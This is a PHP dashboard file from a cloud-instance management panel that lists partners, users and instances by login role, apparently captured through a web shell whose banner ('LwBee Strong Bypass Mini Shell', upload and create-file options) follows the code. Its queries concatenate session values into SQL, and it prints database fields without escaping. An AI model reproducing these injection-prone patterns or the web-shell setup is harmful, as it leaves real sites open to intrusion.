/home3/vehiclea/public_html/mamacloud/dashboard.php
 <?php 
 include 'db.php'; 
 $instanceCountData = '0';
 $partnerCountData = '0';
 $subUserCountData = '0';
 $userCountData = '0';  
$selSubUserIns = selSubUserIns();
$selAddIns = selAddIns();
  ?>
      <div class="content-wrapper"> 
         <div class="container-fluid">
            <div class="row">
               <div class="main-header">
                  <h4 style="color:#2567b3">DASHBOARD</h4>
                  <ol class="breadcrumb breadcrumb-title breadcrumb-arrow">
                <li class="breadcrumb-item">
                  <a href="index.php">
                    <i class="icofont icofont-home"></i>
                  </a>
                </li> 
                <li class="breadcrumb-item"><a href="index.php">Dashboard</a></li>
              </ol>
               </div>
            </div> 
            <div class="row dashboard-header">
              <?php if($_SESSION['loginType'] == 'super admin') {  

               $active_PartQuery = "SELECT COUNT(*) FROM addPartner where status = '1'";
                $active_PartData = mysqli_query($conn,$active_PartQuery);
                $count_Part = mysqli_fetch_array($active_PartData)[0];

                $active_UserQuery = "SELECT COUNT(*) FROM addUser where status = '1'";
                $active_UserData = mysqli_query($conn,$active_UserQuery);
                $count_User = mysqli_fetch_array($active_UserData)[0]; 


                $active_InstQuery = "SELECT COUNT(*) FROM addInstance where status = '1'";
                $active_InstData = mysqli_query($conn,$active_InstQuery);
                $count_Inst = mysqli_fetch_array($active_InstData)[0];

               ?>   

              
               <div class="col-lg-6 col-md-6">
                  <a href="partnerReport.php">
                  <div class="card dashboard-product">
                     <span>Count of Partners</span>
                     <h2 class="dashboard-total-products"><?php echo $count_Part ?></h2>
                     Check Partners List
                </div>
                  </a>
               </div>
               <div class="col-lg-6 col-md-6">
                  <a href="userList.php">
                  <div class="card dashboard-product">
                     <span>Count of Users</span>
                     <h2 class="dashboard-total-products"><?php echo $count_User ?></h2>
                     Check User List
                  </div>
               </a>
               </div> 
               <div class="col-lg-6 col-md-6">
                  <a href="instance.php">
                  <div class="card dashboard-product">
                     <span>Count of Instance</span>
                     <h2 class="dashboard-total-products"><?php echo $count_Inst ?></h2>
                     Check Instance List
                  </div>
               </a>
               </div>  
                 <?php } else if($_SESSION['loginType'] == 'admin') { 

                  $active_PartQuery = "SELECT COUNT(*) FROM addPartner where status = '1'";
                $active_PartData = mysqli_query($conn,$active_PartQuery);
                $count_Part = mysqli_fetch_array($active_PartData)[0];

                $active_UserQuery = "SELECT COUNT(*) FROM addUser where status = '1'";
                $active_UserData = mysqli_query($conn,$active_UserQuery);
                $count_User = mysqli_fetch_array($active_UserData)[0]; 


                $active_InstQuery = "SELECT COUNT(*) FROM addInstance where status = '1'";
                $active_InstData = mysqli_query($conn,$active_InstQuery);
                $count_Inst = mysqli_fetch_array($active_InstData)[0];

                  ?> 

                  <div class="col-lg-6 col-md-6">
                  <a href="partnerReport.php">
                  <div class="card dashboard-product">
                     <span>Count of Partners</span>
                     <h2 class="dashboard-total-products"><?php echo $count_Part ?></h2>
                     Check Partners List
                </div>
                  </a>
               </div>
               <div class="col-lg-6 col-md-6">
                  <a href="userList.php">
                  <div class="card dashboard-product">
                     <span>Count of Users</span>
                     <h2 class="dashboard-total-products"><?php echo $count_User ?></h2>
                     Check User List
                  </div>
               </a>
               </div> 
               <div class="col-lg-6 col-md-6">
                  <a href="instance.php">
                  <div class="card dashboard-product">
                     <span>Count of Instance</span>
                     <h2 class="dashboard-total-products"><?php echo $count_Inst ?></h2>
                     Check Instance List
                  </div>
               </a>
               </div>   

              <?php } else if ($_SESSION['loginType'] == 'partner') {

              $pId = $_SESSION['partnerId'];  
                $active_UserQuery = "SELECT COUNT(*) FROM addUser where status = '1' and partnerId = '$pId'";
                $active_UserData = mysqli_query($conn,$active_UserQuery);
                $count_User = mysqli_fetch_array($active_UserData)[0];  

                $active_InstQuery = "SELECT COUNT(*) FROM addInstance where status = '1' and partnerId = '$pId'";
                $active_InstData = mysqli_query($conn,$active_InstQuery);
                $count_Inst = mysqli_fetch_array($active_InstData)[0]; 
                  ?>

               <div class="col-lg-6 col-md-6">
                  <a href="userList.php">
                  <div class="card dashboard-product">
                     <span>Count of Users</span>
                     <h2 class="dashboard-total-products"><?php echo $count_User ?></h2>
                     Check User List 
                  </div>
               </a>
               </div> 
               <div class="col-lg-6 col-md-6">
                  <a href="instance.php">
                  <div class="card dashboard-product">
                     <span>Count of Instance</span>
                     <h2 class="dashboard-total-products"><?php echo $count_Inst ?></h2>
                     Check Instance List 
                  </div>
               </a>
               </div> 
                 <?php } else if ($_SESSION['loginType'] == 'user') { ?>

                      <?php 
                           if(!empty($_GET['subUserStored'])){
                        ?>
                           <div align="center"><h4 style="color:Green;">Sub User Data Inserted Sucessfully</h4></div>
                        <?php
                            header( "refresh:1;url=index.php" );
                          }
                        ?> 

                   <?php if(!empty($_GET['updated'])){
                          ?>
                          <div align="center"><h4 style="color:green;">Updated Instance Data Successfully </h4></div>
                          <?php 
                            header( "refresh:1;url=index.php" );                          
                        }
                        ?>


                  <div class="col-lg-12 col-md-12">   
                  <div class="card dashboard-product">
                    <div class="form-group">
                        <?php 
                        $userId = executework("SELECT * FROM addUser WHERE userId = '".$_SESSION['userId']."' ");
                        $userIdRow = mysqli_fetch_array($userId);
                        ?>
                        <a href="addInstance.php?editId=<?php echo $userIdRow['id']?>" class="btn btn-success"> Add Instance </a>
                              </div>



                  <table class="table datatable" id="getting_data"> 
                <thead>
                  <tr style="background: #2567b3;color: #fff;">
                     <th width="15%">Instance Number</th>
                     <th width="20%">Company Name</th>
                     <th width="10%">Cloud Id</th> 
                     <th width="10%">No of Users</th> 
                     <th width="15%">No of Active Users</th> 
                     <th width="15%">Instance Status</th>
                     <th width="10%">Validity Date</th> 
                     <th width="10%">Logins</th> 
                     <th width="12%">Actions</th> 
                  </tr>
                </thead> 
                <tbody>
                   <?php
                 $i=1;
                   while($selAddInsRow = mysqli_fetch_array($selAddIns))
                  { 
                    $serIP = $selAddInsRow['serverIp'];
                 ?>
                 <tr>  
                  <td><?= $selAddInsRow['instanceId'] ?></td>
                  <td><?= $selAddInsRow['companyName'] ?></td>
                  <td><?= $selAddInsRow['cloudId'] ?></td> 
                  <td><?= $selAddInsRow['totalUsers'] ?></td> 
                  <td><?= $selAddInsRow['activeUsers'] ?></td>
                  <td><?php if($selAddInsRow['status'] == '1'){ ?> Active <?php } else { ?> Inactive <?php } ?></td>
                  <td><?= date("d-M-Y", strtotime($selAddInsRow['instanceExpiryDate']));  ?></td>
                  <td>
                     <ul class="top-nav">   
                    <li class="dropdown">
                     <a href="#" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false" class="dropdown-toggle drop icon-circle drop-image"> Actions </a>
                     <ul class="dropdown-menu settings-menu" style="color:green;">  
                        <li>
                            <a href="MyCloud.php" type="submit"><i class="icofont icofont-computer"></i> RDP LOGIN </a>
                        </li> 

                        <li><a href="http://<?= $serIP ?>/" target="_blank" type="submit"><i class="icofont icofont-web"></i> WEB LOGIN </a></li>   
                     </ul>
                  </li>
                </ul> 
                  </td>
                  <td> <a href="addInstanceEdit.php?editId=<?php echo $selAddInsRow['id']?>">Edit </a>  
                  </td>
               </tr>
               <?php } ?>
                </tbody>
              </table> <br> 
           </div> 
               </div>
            <?php } else { ?>

                <div class="col-lg-12 col-md-12">   
                  <div class="card dashboard-product">
                  <table class="table datatable" id="getting_data"> 
                <thead>
                  <tr> 
                     <th>Company Name</th>
                     <th>Instance Number</th>
                     <th>Status</th>
                     <th>CLOUD ID</th> 
                     <th>USERNAME</th> 
                     <th>SUB USERNAME</th> 
                  </tr>
                </thead> 
                <tbody>
                   <?php
                   $selSubUserInsRow = mysqli_fetch_array($selSubUserIns);

                   $addInstanceData = mysqli_query($conn,"SELECT * FROM addInstance where instanceId = '".$selSubUserInsRow['instanceId']."'");
                   $addInstanceDataRec = mysqli_fetch_array($addInstanceData);

                 ?>
                 <tr> 
                  <td><?= $addInstanceDataRec['companyName'] ?></td>
                  <td><?= $addInstanceDataRec['instanceId'] ?></td>
                  <td><?= $addInstanceDataRec['status'] ?></td>
                  <td><?= $addInstanceDataRec['cloudId']?></td> 
                  <td><?= $addInstanceDataRec['contactPersonName']?></td> 
                  <td><?= $selSubUserInsRow['firstName'].' '.$selSubUserInsRow['lastName']?></td> 
                    
               </tr> 
                </tbody>
              </table> <br><br>
              <center> 
               <a href="MyCloud.php" type="submit" class="btn btn-primary">RDP LOGIN</a>&nbsp;&nbsp;&nbsp;&nbsp;

               <a href="http://<?php echo $addInstanceDataRec['serverIp'] ?>/" target="_blank" type="submit" class="btn btn-success">WEB LOGIN</a>&nbsp;&nbsp;&nbsp;&nbsp;  
              </center><br><br>  
           </div> 
               </div>

             <?php } ?>
            </div> 
         </div> 
      </div> 
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File